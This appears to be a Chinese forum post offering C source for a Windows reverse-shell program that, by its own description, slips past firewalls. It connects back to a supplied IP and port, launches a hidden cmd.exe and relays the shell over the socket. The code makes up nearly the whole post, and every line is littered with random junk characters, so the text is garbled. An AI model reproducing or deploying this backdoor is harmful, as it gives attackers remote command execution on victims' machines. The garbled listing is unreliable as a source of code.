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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 32 j){[PL3  
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/* ============================== D0bpD  
Rebound port in Windows NT ]Q.S Is  
By wind,2006/7 Sru0j/|H\  
===============================*/ *^{j!U37s  
#include ,if~%'9j  
#include F ]D^e{y  
73!NoDxb  
#pragma comment(lib,"wsock32.lib") CTg79 ITYk  
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void OutputShell(); n?6^j8i  
SOCKET sClient; -0;{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Y|xu07  
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void main(int argc,char **argv) 7Cz=;  
{ d^~yUk  
WSADATA stWsaData; CaED(0  
int nRet; R86i2',  
SOCKADDR_IN stSaiClient,stSaiServer; nt&% sM-X  
`%Kj+^|DS  
if(argc != 3) 5G2ueRVb  
{ qh}+b^Wi  
printf("Useage:\n\rRebound DestIP DestPort\n");  = v?V  
return; YwH Fn+  
} $!p2Kf>/Q  
@Kt!uKrI  
WSAStartup(MAKEWORD(2,2),&stWsaData); tr0kTW$Ad  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r&v!2A]:  
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stSaiClient.sin_family = AF_INET; J<"Z6 '0v  
stSaiClient.sin_port = htons(0); &a\w+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &'/PEOu&}G  
rcLF:gd] E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +DefV,Ny  
{ $u,A/7\s  
printf("Bind Socket Failed!\n"); B&KIM{j\  
return; cRag0.[  
} rKOa9M  
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stSaiServer.sin_family = AF_INET; n]w%bKc-9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @pJ;L1sn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X}={:T+6s  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I%[Tosud<  
{ K4|fmgcy.  
printf("Connect Error!"); ebL0cK?  
return; 75P!`9bE  
} &,Rye Q  
OutputShell(); 7?_g m>]a  
} k&K'FaM!  
{<Y!'WL{  
void OutputShell() r4 5}o  
{ rOUQg_y  
char szBuff[1024]; h;(mb2[R  
SECURITY_ATTRIBUTES stSecurityAttributes; lt5Knz2G,Z  
OSVERSIONINFO stOsversionInfo; $mq+/|bn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MfI+o<{r  
STARTUPINFO stStartupInfo; .VmRk9Z  
char *szShell; J1M9) ,  
PROCESS_INFORMATION stProcessInformation; 9}K K]m6u}  
unsigned long lBytesRead; 9w0v?%%_  
&'i.W}Ib!  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3WGOftLzt  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gm:Y@6W  
stSecurityAttributes.lpSecurityDescriptor = 0; u  XZ;K.  
stSecurityAttributes.bInheritHandle = TRUE; 8 f~M6  
':\bn:;  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \Yv4 4*I`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); md9JvbB  
4/SltWU  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E.*wNah"U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V^ ;l g[:  
stStartupInfo.wShowWindow = SW_HIDE; 'wBOnGi6  
stStartupInfo.hStdInput = hReadPipe; =b6G' O[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uE,T Ea9;  
^MhMYA  
GetVersionEx(&stOsversionInfo); .",BLuce  
%vG;'_gM B  
switch(stOsversionInfo.dwPlatformId) YD~(l-?"  
{ &d!ASa  
case 1: >N~jlr|  
szShell = "command.com"; pZc`!f"  
break; PCBV6Y7r  
default: m60hTJ?N)  
szShell = "cmd.exe"; ^6CPC@B1  
break; axXR-5c  
} ;'!h(H  
r24 s_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kMa|V0  
^}z:FI   
send(sClient,szMsg,77,0); /Vv)00  
while(1) ~( rZ)  
{ {@" F/G+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g'-hSV/@}@  
if(lBytesRead) tM:$H6m/(  
{ S =sL:FC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZM=eiJZ  
send(sClient,szBuff,lBytesRead,0); hJ8B&u(  
} .b2%n;_>.  
else 'Ze& LQ  
{ bg|=)sw4  
lBytesRead=recv(sClient,szBuff,1024,0); \w$e|[~  
if(lBytesRead<=0) break; !83 N#Y_Mz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UrS%t>6k  
} ,mD$h?g  
} PDh!B _+  
[S.zWPX9{  
return; bGj<Dojl  
}
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